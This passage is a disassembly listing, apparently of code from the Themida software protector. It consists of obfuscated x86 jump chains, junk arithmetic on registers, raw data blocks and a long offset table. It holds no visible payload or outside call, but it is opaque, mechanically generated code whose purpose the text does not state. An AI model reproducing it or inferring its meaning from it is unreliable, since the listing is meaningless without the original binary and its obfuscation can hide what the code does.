		dd 4C181h, 0C870000h, 24248B24h, 0FFAEF7E9h, 942D5DFFh
		dd 5597806h, 433D0344h,	442DD029h, 83433D03h, 148904ECh
		dd 694BA24h, 0DE95978h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5410E7:				; CODE XREF: Themida_:0053C0B6j
		add	edi, 19587104h
		push	edx
		mov	edx, 8526693h
		shl	edx, 3
		shl	edx, 6
		push	edi
		jmp	loc_53CE48
; ---------------------------------------------------------------------------
		db 66h
		dd 2246C81h, 81660E27h,	7302246Ch, 6C81663Bh, 4A440224h
		dd 246C0166h, 44816602h, 4A440224h, 24448166h, 663B7302h
		dd 0B9665155h, 89660E27h, 240C8BCDh, 0E904C483h, 0FFFFCA1Eh
		dd 815BD901h, 4E9h, 240C8700h, 9233E95Ch, 42DFFFFh, 0E9000000h
		dd 0FFFF5F22h, 504C483h, 4, 8EC4E956h
		db 2 dup(0FFh)
word_541166	dw 34FFh		; DATA XREF: Themida_:00535244o
		dd 2434FF24h, 0E924148Bh, 0FFFF81FCh, 24348B54h, 0E904C483h
		dd 0FFFF52C3h
; ---------------------------------------------------------------------------

loc_541180:				; CODE XREF: Themida_:0053F455j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_53EE95
; ---------------------------------------------------------------------------
		db 59h,	0D1h, 0EFh
		dd 0F781DFF7h, 3A8D526Fh, 0C781DFF7h, 25FE5A66h, 0FFDD7AE9h
		db 0FFh
byte_5411A9	db 8Fh,	47h, 40h	; DATA XREF: Themida_:00535294o
		dd 0FF41B2E9h, 243C33FFh, 33243C31h, 248B243Ch,	0CD36624h
		dd 9CE99C24h
		db 41h,	2 dup(0FFh)
byte_5411C7	db 8Bh			; DATA XREF: Themida_:00535218o
		dd 0EC812404h, 4, 83240489h, 84E904ECh,	87FFFF6Ah, 248B241Ch
		dd 240C8924h, 3C340DB9h, 244C2946h, 240C8B04h, 8104C483h
		dd 23D22404h, 481227Ch,	4C407A24h, 24040116h, 7A242C81h
		dd 53164C40h, 87447BBh,	0B2C38178h, 0F70FB116h,	49CB81DBh
		dd 0E972EF4Ah, 0FFFF96A5h
; ---------------------------------------------------------------------------

loc_541224:				; CODE XREF: Themida_:00540CA0j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 607052A2h
		jmp	loc_541470
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 5EBA5224h,	0C1209031h, 0CA8102E2h
		dd 75544914h, 0E907E2C1h, 0FFFFE73Ah, 4C4815Ch,	0E9000000h
		dd 0FFFFE4A5h
; ---------------------------------------------------------------------------

loc_541264:				; CODE XREF: Themida_:0053B6FEj
		mov	[esp], ebp
		mov	ebp, 683E2B70h
		jmp	loc_5412BF
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240428h, 0FF40E6E9h, 24248BFFh, 9C2424D2h,	0FF40DAE9h
		dd 5E089FFh, 4,	0B8BD5553h, 0C154CA1Bh,	0DDF704EDh, 525BE581h
		dd 0DDF77F5Eh, 0FF4B35E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5412A9:				; CODE XREF: Themida_:0053D1AEj
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edi
		jmp	loc_5365F4
; ---------------------------------------------------------------------------
		dw 1489h
		dd 99E95524h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5412BF:				; CODE XREF: Themida_:0054126Cj
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, edi
		jmp	loc_5377F6
; ---------------------------------------------------------------------------
		dw 5547h
		dd 0B2713BDh, 48E58114h, 8149974Fh, 0DF220EE5h,	81D5F70Dh
		dd 380298F5h, 0BFBB535Ah, 0C17C0A05h, 0DAE903EBh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5412F7:				; CODE XREF: Themida_:0053A203j
		sub	eax, edx
		push	edi
		jmp	loc_53FE7B
; ---------------------------------------------------------------------------
		db 66h
		dd 662C7AB9h, 6606E9C1h, 0C9A0E981h, 5E1C166h, 48C98166h
		dd 66536656h, 0E938CDBBh, 0FFFFE564h, 6F78E940h
		db 2 dup(0FFh)
word_541326	dw 8B66h		; DATA XREF: Themida_:00535198o
		dd 0EC812404h, 4, 0E9243C89h, 0FFFF939Dh, 4BAh,	5AD00100h
		dd 0FFE175E9h, 240487FFh, 2434895Ch, 0FFBD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541351:				; CODE XREF: Themida_:0053BDE5j
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 338718E2h
		pop	esi
		xor	esi, 338718E2h
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_53F84D
; ---------------------------------------------------------------------------
		dd 0E904EE83h, 0FFFFA219h, 8904EC83h, 1AE9240Ch
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541383:				; CODE XREF: Themida_:00536CAFj
		neg	ebp
		shl	ebp, 8
		shr	ebp, 6
		add	ebp, 1
		jmp	loc_53DCB6
; ---------------------------------------------------------------------------
		db 0BEh
		dd 22A830CBh, 8105EEC1h, 0A61CE2E6h, 0B698E915h, 104FFFFh
		dd 0FFE77AE9h, 0EC181FFh, 5B578E01h, 31240C33h,	0C33240Ch
		dd 24248B24h, 24048966h, 0FF815DE9h, 20559FFh, 0E9000000h
		dd 0FFFF8AC5h, 51664F0Ch, 42E468h, 24048900h, 0C5889BB0h
		dd 8124048Bh, 4C4h, 66E83000h, 8BC32859h, 0E9572404h, 0FFFFDC48h
		dd 4C581h, 0E9500000h, 0FFFF8123h, 42474FFh, 24048F59h
		dd 0BB0F665Ch, 0E99C2404h, 0FFFF3F47h, 0E92434FFh, 0FFFFF3C8h
		dd 81E68956h, 4C6h, 0D160E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_541432:				; CODE XREF: Themida_:0053560Dj
		push	edi
		mov	edi, 601444D3h
		sub	esp, 4
		jmp	loc_53AE5F
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 8124148Bh, 4C4h, 4C48100h, 51000000h, 0E9A5B252h
		dd 0FFFF809Ah, 3304C683h, 34312434h, 24343324h,	0E924248Bh
		dd 0FFFF3EF3h
; ---------------------------------------------------------------------------

loc_541470:				; CODE XREF: Themida_:00541233j
		mov	ecx, 607052A3h
		add	ecx, 22B96254h
		sub	ecx, eax
		sub	ecx, 22B96254h
		pop	eax
		push	136Fh
		mov	[esp], edx
		mov	edx, 24h
		push	eax
		push	ebx
		mov	ebx, 4984D14h
		sub	ebx, 915E13CCh
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		pop	eax
		add	edx, edi
		jmp	loc_536400
; ---------------------------------------------------------------------------

loc_5414AB:				; CODE XREF: Themida_:00540E4Bj
		sub	esi, 0F28E0DCFh
		jmp	loc_53E899
; ---------------------------------------------------------------------------

loc_5414B6:				; CODE XREF: Themida_:00537D94j
		sub	edi, 0B68FF2A5h
		jmp	loc_538831
; ---------------------------------------------------------------------------
		db 80h,	0C9h, 0E7h
		dd 0F696E180h, 4EC83D9h, 0E9241C89h, 0FFFF719Bh, 62D16857h
		dd 0F75F3BB6h, 0E4A3E9DFh, 0C87FFFFh, 0C3895C24h, 8BD92158h
		dd 80E9241Ch, 68FFFF54h, 0D8Bh,	0E9240C89h, 0FFFFFF08h
		dd 15B0EF81h, 8359116Bh, 0BFE904C7h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54150F:				; CODE XREF: Themida_:0053CFD8j
		push	889784D0h
		push	dword ptr [esp]
		jmp	loc_53FE50
; ---------------------------------------------------------------------------
		dd 80E6C480h, 0EC8038F4h, 58E628BDh, 5B5AF000h,	0FF56C3E9h
		dd 0E9D029FFh, 0FFFFDE2Ah
; ---------------------------------------------------------------------------

loc_541538:				; CODE XREF: Themida_:0053D6DEj
		push	ecx
		jmp	loc_538EC4
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 8124348Bh, 4C4h, 4C28100h, 87000000h, 248B2414h, 3E09E924h
		dd 15BFFFFh, 98EF81EFh,	0E974A52Ah, 0FFFF824Eh,	54E9D830h
		dd 5DFFFF87h, 311A3905h, 0D924E979h, 0C581FFFFh, 4, 4C581h
		dd 2C870000h, 0C3815C24h, 4, 8302C383h,	1C8904ECh, 0E523E924h
		dd 0C33FFFFh, 240C3124h, 0E9240C33h, 0FFFFFCC5h
; ---------------------------------------------------------------------------

loc_5415AC:				; CODE XREF: Themida_:00535F30j
		push	esp
		pop	eax
		push	edi
		jmp	loc_53BABA
; ---------------------------------------------------------------------------
		dd 0DBBA5240h, 3114B640h, 0B7E95AD0h, 8FFFFFB7h, 895C2404h
		dd 0E9542414h, 0FFFFD9F5h, 0F562E947h, 2BEFFFFh, 81000000h
		dd 46277CC2h, 0E9F22901h, 0FFFF89D8h, 4BB53h, 0DA010000h
		dd 0FF9CEBE9h, 4A24BEFFh, 0BD5575CEh, 35775781h, 0FFD0E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541605:				; CODE XREF: Themida_:00538FCDj
		pop	esp
		add	ebp, ecx
		jmp	loc_53C6CE
; ---------------------------------------------------------------------------

loc_54160D:				; CODE XREF: Themida_:0053B903j
		mov	[esp], ebp
		jmp	loc_538F41
; ---------------------------------------------------------------------------
byte_541615	db 66h,	0ADh, 66h	; DATA XREF: Themida_:0053526Co
		dd 0E97D1968h, 0FFFF8415h, 8F72CFBDh, 6E5C134h,	0B3BCED81h
		dd 0E82923DCh, 74FF505Dh, 48B0424h, 0E0895024h,	405h, 0A0D4E900h
		db 2 dup(0FFh)
word_541646	dw 0B268h		; DATA XREF: Themida_:005352C0o
		dd 5400007Ah, 8124048Fh, 4ECh, 24148900h, 4BAh,	246C8100h
		dd 0AD1E5504h, 7685269h, 5A27FF56h, 8245429h, 2454015Ah
		dd 24448104h, 0FF560704h, 55BE5627h, 169AD1Eh, 5E082474h
		dd 5A2434FFh, 0F910E957h
		db 2 dup(0FFh)
word_541692	dw 34FFh		; DATA XREF: Themida_:00535130o
		dd 0E9555824h, 0FFFF5FF0h, 2DE9B2B1h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5416A3:				; CODE XREF: Themida_:005379A1j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_5393CF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E7C158C7h, 4EC78105h, 0C1263C65h, 0D7F707E7h, 0FFFFEF81h
		dd 0EF81FFFFh, 1, 0F8FBF781h, 0FD01DCFEh, 2BE565Fh, 0E9000000h
		dd 0FFFFEFD8h
dword_5416E8	dd 24048B66h, 51585450h, 31CCBB53h, 0EBC1494Ch,	0EB874B06h
					; DATA XREF: Themida_:005350A0o
		dd 0FF9496E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_541701:				; CODE XREF: Themida_:0053FEF1j
		mov	[esp], eax
		jmp	loc_53AD6B
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aSiuh		db 'S‰ãh»=',0
		align 4
		dd 0E9243C89h, 0FFFFA814h, 33E268h, 24048900h, 0FF7155E9h
		dd 4C681FFh, 57000000h,	4BFh, 0E9FE0100h, 0FFFF7414h, 241C8B66h
		dd 81E38953h, 4C3h, 2C38100h, 87000000h, 685C241Ch, 7EFCh
		dd 89241C89h, 4C381E3h,	0E9000000h, 0FFFFB07Ch,	0E9CF015Bh
		dd 0FFFFED0Eh
; ---------------------------------------------------------------------------

loc_541770:				; CODE XREF: Themida_:0053B715j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_538F7A
; ---------------------------------------------------------------------------
byte_54177D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00535154o
		dd 419589Dh, 0D8E99C24h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54178B:				; CODE XREF: Themida_:0053B09Cj
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 1CEA6080h
		shl	ebp, 5
		shr	ebp, 1
		xor	ebp, 4EA60804h
		add	eax, ebp
		jmp	loc_5390A9
; ---------------------------------------------------------------------------

loc_5417A9:				; CODE XREF: Themida_:0053963Dj
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 33E67B43h
		xor	edx, eax
		pop	eax
		shr	edx, 5
		push	edi
		jmp	loc_5387DF
; ---------------------------------------------------------------------------
		db 83h
		dd 0A7E904C4h
		db 0B5h, 2 dup(0FFh)
byte_5417CB	db 66h			; DATA XREF: Themida_:0053522Co
		dd 56240C8Bh, 0EC81E689h, 4, 0E9240C89h, 0FFFF6862h, 9BE9525Ah
		dd 0BBFFFF6Ah, 667250EBh, 0FF88A0E9h, 0E95258FFh, 0FFFF89FCh
		dd 591E96h, 592B80h, 0FA37D4F5h, 591E96h, 7FFE0304h, 520001h
		dd 9E69DDh, 213h, 2, 1,	6, 0FA37D4F5h, 5 dup(0)
		dd offset byte_54284D
		dd offset byte_541ECD
		dd offset word_54945A
		dd offset byte_543AB5
		dd offset aMhx_		; "¬hx_"
		dd offset byte_54DB07
		dd offset byte_54F575
		dd offset dword_54CE9C
		dd offset byte_54F91F
		dd offset word_552DFA
		dd offset byte_5455BB
		dd offset word_543E1E
		dd offset byte_547853
		dd offset byte_5538B1
		dd offset dword_546414
		dd offset byte_554449
		dd offset dword_55034C
		dd offset byte_54359F
		dd offset byte_544161
		dd offset byte_547F21
		dd offset word_5553D2
		dd offset word_54EF96
		dd offset aNsin		; "­éˆ"
		dd offset byte_54DBC1
		dd offset word_552D72
		dd offset byte_548CE1
		dd offset dword_54A950
		dd offset byte_5481E9
		dd offset byte_54EBF3
		dd offset byte_549339
		dd offset word_546BA2
		dd offset word_54544A
		dd offset word_54DCD2
		dd offset byte_54E491
		dd offset dword_54BB74
		dd offset dword_5444C0
		dd offset byte_551135
		dd offset dword_547C1C
		dd offset dword_5476A4
		dd offset byte_543663
		dd offset aNhq		; "­hQ~"
		dd offset word_54FD76
		dd offset byte_553D3D
		dd offset byte_549CD5
		dd offset dword_54E8E4
		dd offset byte_54F79F
		dd offset dword_54A6A4
		dd offset byte_554C37
		dd offset aN1S		; "­1ØéÂ:"
		dd offset byte_54419F
		dd offset byte_54A3D1
		dd offset byte_550749
		dd offset dword_5553C8
		dd offset dword_549C80
		dd offset aNswl		; "­éWl"
		dd offset byte_555945
		dd offset byte_54E50D
		dd offset byte_54A3C7
		dd offset byte_54663D
		dd offset dword_548AE4
		dd offset byte_547303
		dd offset dword_541DBC
		dd offset byte_5420F1
		dd offset dword_5531B0
		dd offset word_54EC42
		dd offset dword_54AC0C
		dd offset byte_54E809
		dd offset dword_552720
		dd offset byte_544D65
		dd offset byte_5539A7
		dd offset dword_542FD0
		dd offset byte_555AFF
		dd offset byte_5472F9
		dd offset byte_553F3B
		dd offset dword_54BCFC
		dd offset byte_54A43F
		dd offset byte_551EE3
		dd offset byte_54567F
		dd offset byte_54AAFD
		dd offset dword_5450FC
		dd offset word_548946
		dd offset dword_54D0AC
		dd offset byte_543337
		dd offset dword_542964
		dd offset dword_54F0CC
		dd offset byte_54D779
		dd offset aMh_		; "¬h_\a"
		dd offset dword_54FB20
		dd offset byte_5521B5
		dd offset byte_54C7F1
		dd offset word_54A276
		dd offset byte_543257
		dd offset byte_54B2CD
		dd offset dword_556508
		dd offset dword_543700
		dd offset word_5569CE
		dd offset word_549552
		dd offset byte_548D25
		dd offset byte_5520FB
		dd offset dword_555E40
		dd offset byte_5518AD
		dd offset byte_54E08D
		dd offset byte_543893
		dd offset byte_55146F
		dd offset aM0Hn6	; "¬0Øhn6"
		dd offset byte_54ED1B
		dd offset byte_549FA3
		dd offset byte_554E0F
		dd offset word_543E86
		dd offset byte_554327
		dd offset byte_5480BD
		dd offset word_543452
		dd offset word_55603E
		dd offset word_553CE2
		dd offset word_5475BA
		dd offset byte_555A19
		dd offset byte_555913
		dd offset byte_544A29
		dd offset dword_550E50
		dd offset dword_542088
		dd offset dword_546210
		dd offset byte_553C8F
		dd offset off_548A8D
		dd offset byte_542153
		dd offset dword_54DB4C
		dd offset byte_54CE5F
		dd offset word_549CF6
		dd offset dword_544568
		dd offset byte_54D44D
		dd offset byte_5552F1
		dd offset byte_54E5D7
		dd offset byte_55485B
		dd offset byte_555AA1
		dd offset dword_5506A0
		dd offset byte_5523A9
		dd offset byte_545A69
		dd offset byte_556B87
		dd offset word_54FD9A
		dd offset dword_54AD68
		dd offset dword_5467FC
		dd offset byte_54E9D1
		dd offset byte_545B41
		dd offset byte_54961B
		dd offset byte_554347
		dd offset dword_54745C
		dd offset byte_545ECD
		dd offset byte_54514B
		dd offset byte_547155
		dd offset byte_54D597
		dd offset word_54216A
		dd offset dword_5524A4
		dd offset byte_54811D
		dd offset byte_54674F
		dd offset byte_547C13
		dd offset word_54EF66
		dd offset word_54989A
		dd offset byte_5490D9
		dd offset byte_551791
		dd offset dword_55025C
		dd offset word_54E5BE
		dd offset aNshga	; "­ShGa"
		dd offset byte_544963
		dd offset byte_54D997
		dd offset word_54AFDE
		dd offset word_54472A
		dd offset byte_5477E7
		dd offset dword_54C57C
; ---------------------------------------------------------------------------

loc_541AD8:				; CODE XREF: Themida_:00589FF0j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61C45EBh
		mov	eax, edi
		add	edi, 61C4303h
		cmp	eax, [edi+2Ch]
		jnz	short loc_541AF6
		jmp	short loc_541B09
; ---------------------------------------------------------------------------

loc_541AF6:				; CODE XREF: Themida_:00541AF2j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_541B05
; ---------------------------------------------------------------------------

loc_541B00:				; CODE XREF: Themida_:00541B07j
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_541B05:				; CODE XREF: Themida_:00541AFEj
		or	ecx, ecx
		jnz	short loc_541B00

loc_541B09:				; CODE XREF: Themida_:00541AF4j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_541B16:				; CODE XREF: Themida_:00541B1Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_541B16

loc_541B1F:				; CODE XREF: Themida_:00543D6Bj
					; Themida_:00543ED8j ...
		lodsb
		push	7205h
		mov	[esp], ebx
		jmp	loc_545B5B
; ---------------------------------------------------------------------------

loc_541B2D:				; CODE XREF: Themida_:0054C8D0j
		pop	ebp
		jmp	loc_54F5A3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24148B66h, 0D1EEE956h, 0C2810000h, 0C9364E6h, 4967C281h
		dd 0C201011Ah, 4967EA81h, 0EA81011Ah, 0C9364E6h, 15B1E9h
		dd 0EBC15F00h, 0CE685108h, 8900007Fh, 0EFB82404h, 351D373Fh
		dd 1D3715E1h, 3C40E9h, 5EC68000h, 0EE80CE00h, 240C8B5Eh
		dd 8004C483h, 0C6807AE6h, 0F263E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_541B92:				; CODE XREF: Themida_:00547960j
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_54B14C
; ---------------------------------------------------------------------------

loc_541B9B:				; CODE XREF: Themida_:00549003j
		add	ebp, 7BEC4DF0h
		add	ecx, ebp
		jmp	loc_5567C5
; ---------------------------------------------------------------------------

loc_541BA8:				; CODE XREF: Themida_:0054AA3Aj
		pop	edi
		jmp	loc_5446E4
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 59EF3009h, 800FCF80h, 0E7E9B2F7h, 8000001Fh,	0D9008CF3h
		dd 1753685Bh, 9E90000h,	5A000067h, 0B329E9h
		db 0
; ---------------------------------------------------------------------------

loc_541BD5:				; CODE XREF: Themida_:005427A7j
		xor	[esp+4], ebp
		jmp	loc_54BCD2
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 26FDE900h, 0E1890001h,	3950BB53h, 39E94ECBh, 0C10000F7h
		dd 0EEC105EEh, 2AF68108h, 890007DFh, 0D8895EF3h, 8BC2295Bh
		dd 0A0E92404h, 810000D7h, 4C4h,	58F46800h, 0C890000h, 81595424h
		dd 4C1h, 4C18300h, 5C240C87h, 33B868h, 24148900h, 3C1F5FBAh
		dd 246C8152h, 0C66F8004h, 2454016Ah, 24448104h,	0C66F8004h
		dd 4815A6Ah, 0C61F9924h, 24048162h, 761D0DEEh, 81240401h
		dd 0DEE242Ch, 2C81761Dh, 0C61F9924h, 242C8162h,	523C1F5Fh
		dd 739FB850h, 0BAE909B3h, 8B0000A2h, 0C483241Ch, 4479E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_541C8E:				; CODE XREF: Themida_:0054F277j
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_5451A6
; ---------------------------------------------------------------------------

loc_541CC1:				; CODE XREF: Themida_:005458DAj
		xor	eax, ecx
		jmp	loc_547521
; ---------------------------------------------------------------------------

loc_541CC8:				; CODE XREF: Themida_:00544E29j
		pop	eax
		add	esi, 5D557FC9h
		add	esi, ebp
		sub	esi, 5D557FC9h
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55590A
; ---------------------------------------------------------------------------

loc_541CE3:				; CODE XREF: Themida_:00554881j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_5505FA
; ---------------------------------------------------------------------------
		dd 5BE9CE00h, 55000084h, 0BB2E3CBDh, 0CAC5812Dh, 1060EF3h
		dd 0EA815DEAh, 0C76A1D6Fh, 0DEAAE9h
		db 0
; ---------------------------------------------------------------------------

loc_541D19:				; CODE XREF: Themida_:0055349Dj
		pop	edi
		mov	eax, [esp]
		jmp	loc_548AB0
; ---------------------------------------------------------------------------

loc_541D22:				; CODE XREF: Themida_:0054F652j
		add	ecx, 4DE0886h
		add	ecx, 3AED697Ch
		add	ecx, eax
		sub	ecx, 3AED697Ch
		push	edi
		mov	edi, 395E2B88h
		push	esi
		mov	esi, 41104265h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2276635Fh
		jmp	loc_547FD1
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 8Bh
		dd 0C4832434h, 57C30104h, 0AD25E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_541D66:				; CODE XREF: Themida_:0055296Aj
		push	7D18h
		mov	[esp], eax
		push	13C9h
		mov	[esp], edi
		mov	edi, 7E910A26h
		push	ecx
		mov	ecx, 51243C8Bh
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	edi
		inc	edi
		xor	edi, 34BA6B5Bh
		jmp	loc_54416A
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 0C2815A04h, 4,	8704C283h, 248B2414h
		dd 8BC80124h, 0E951240Ch, 9694h
dword_541DBC	dd 240C8B66h, 231768h, 24348900h, 428E9h ; DATA	XREF: Themida_:00541930o
		db 0
; ---------------------------------------------------------------------------

loc_541DCD:				; CODE XREF: Themida_:00549724j
		pop	esp
		push	12E3h
		mov	[esp], edi
		jmp	loc_54D88F
; ---------------------------------------------------------------------------

loc_541DDB:				; CODE XREF: Themida_:005496F3j
		inc	bh
		jmp	loc_55314E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2709491Fh, 515BD889h, 0FFFFBB53h, 0D989FFFFh, 59C8295Bh
		dd 5965E9h
		db 0
; ---------------------------------------------------------------------------

loc_541DFD:				; CODE XREF: Themida_:0054C3F9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54F35E
; ---------------------------------------------------------------------------
a9aNaFSxasYsq	db '´9€Ìn€ìF(áX€é` ÎYéq°',0
		align 4

loc_541E24:				; CODE XREF: Themida_:00542444j
		mov	esi, ecx
		push	edx
		mov	edx, esi
		mov	ebp, edx
		pop	edx
		pop	esi
		pop	ecx
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54A144
		push	dword ptr [edi+1Ch]
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54EA48
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E904C783h, 6C03h, 5250A6BBh, 0F3814B60h,	6FD45B12h
		dd 0E95BDE21h, 105B7h, 0FF24248Bh, 48B2434h, 4C48324h
		dd 0E9E08950h, 262Ch, 5204C483h, 0ACC7E9h, 0DD895800h
		dd 0E92434FFh, 0DB6Eh, 2A1FF181h, 0CB01D9B0h, 10DF3E9h
		db 0
; ---------------------------------------------------------------------------

loc_541EC5:				; CODE XREF: Themida_:0054930Bj
		shl	eax, 1
		push	esi
		jmp	loc_54833F
; ---------------------------------------------------------------------------
byte_541ECD	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:00541840o
		dd 102B7h, 68243489h, 5DFBh, 68241C89h,	4A731669h, 5B2434FFh
		dd 4C481h, 54680000h, 89000031h, 9EE9240Ch
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_541EFB:				; CODE XREF: Themida_:0054E47Dj
		add	eax, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5B6615ECh
		add	eax, 5ECE770Ah
		jmp	loc_555732
; ---------------------------------------------------------------------------
aYhxv		db 'Yhxv',0
		dw 8900h
		dd 14F7241Ch, 0FB0EE924h, 89660000h, 4DB3241Ch,	8B66DA30h
		dd 0C483241Ch, 0FEEA8602h, 0E9EA86C5h, 135Ch
; ---------------------------------------------------------------------------

loc_541F40:				; CODE XREF: Themida_:0054512Aj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_554BD6
; ---------------------------------------------------------------------------

loc_541F4D:				; CODE XREF: Themida_:00553F2Fj
		mov	esi, 0DD83DCECh
		add	edx, esi
		pop	esi
		add	edx, ecx
		pop	ecx
		jmp	loc_54AAD3
; ---------------------------------------------------------------------------
		db 66h,	0C1h, 0E8h
		dd 0E0C16608h, 0C6056607h, 0C629663Bh, 0CE816658h, 81662179h
		dd 66C63FF6h, 348BF189h, 4C48124h, 0E9000000h, 0BAA7h
		dd 56E9E901h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_541F8F:				; CODE XREF: Themida_:00549181j
		push	ebp
		mov	ebp, 34C228C2h
		jmp	loc_548C33
; ---------------------------------------------------------------------------

loc_541F9A:				; CODE XREF: Themida_:0054862Bj
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		push	edx
		jmp	loc_542423
; ---------------------------------------------------------------------------

loc_541FA6:				; CODE XREF: Themida_:00543F29j
		sub	ebx, 165653E5h
		jmp	loc_54F728
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0ECh
		dd 4, 56240C89h, 304F2868h, 7A1BE900h, 8B660000h, 0C4812404h
		dd 2, 3059C888h, 30C830C1h, 50E950C1h, 8000004Bh, 0F80036EFh
		dd 0CB78E9h, 5BDC8800h,	4EC8353h, 88240C89h, 73FAE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_541FFA:				; CODE XREF: Themida_:00543F91j
		sub	al, 55h
		add	al, 1Eh
		mov	bx, [esp]
		jmp	loc_552832
; ---------------------------------------------------------------------------
		dd offset dword_502044+124h
		align 4
		dd 9884E9h
		db 0
; ---------------------------------------------------------------------------

loc_542011:				; CODE XREF: Themida_:00553D80j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_548800
; ---------------------------------------------------------------------------

loc_54201F:				; CODE XREF: Themida_:00546D12j
		or	dh, bl
		pop	bx
		sub	dh, 44h
		mov	bh, dh
		pop	edx
		jmp	loc_5524BD
; ---------------------------------------------------------------------------

loc_54202E:				; CODE XREF: Themida_:00545813j
		push	esp
		jmp	loc_546120
; ---------------------------------------------------------------------------

loc_542034:				; CODE XREF: Themida_:0054965Cj
		and	eax, esi
		jmp	loc_54E2D7
; ---------------------------------------------------------------------------
		db 1
		dd 14875FFAh, 2015E924h, 50660000h, 0E9E3B652h,	0AC50h
; ---------------------------------------------------------------------------

loc_542050:				; CODE XREF: Themida_:0054E43Aj
		push	0D9F48D8h
		mov	edx, [esp]
		push	esi
		jmp	loc_551A43
; ---------------------------------------------------------------------------

loc_54205E:				; CODE XREF: Themida_:005440D5j
		pop	edx
		jmp	loc_54F484
; ---------------------------------------------------------------------------

loc_542064:				; CODE XREF: Themida_:0055652Dj
		push	ecx
		jmp	loc_54E6DC
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 243C875Bh, 5724248Bh, 2F03F8BFh, 0CBE94773h,	5F00014Ah
		dd 0E924048Fh, 0F07Ch
dword_542088	dd 0E940478Fh, 0FFFFFA8Fh, 0D57297BAh, 5AD62113h, 42E9DE87h
					; DATA XREF: Themida_:00541A18o
		dd 0FF00006Fh, 835F2434h, 0C58104C4h, 2, 8B242C87h, 3B662424h
		dd 9CE99CC8h, 2C0000D1h, 0E9F02877h, 0FE11h
; ---------------------------------------------------------------------------

loc_5420C4:				; CODE XREF: Themida_:0054C69Aj
		xor	ebx, 5CE91752h
		jmp	loc_546DE5
; ---------------------------------------------------------------------------
aBs0VcsI	db 'é0,¢céµ›',0
		align 2

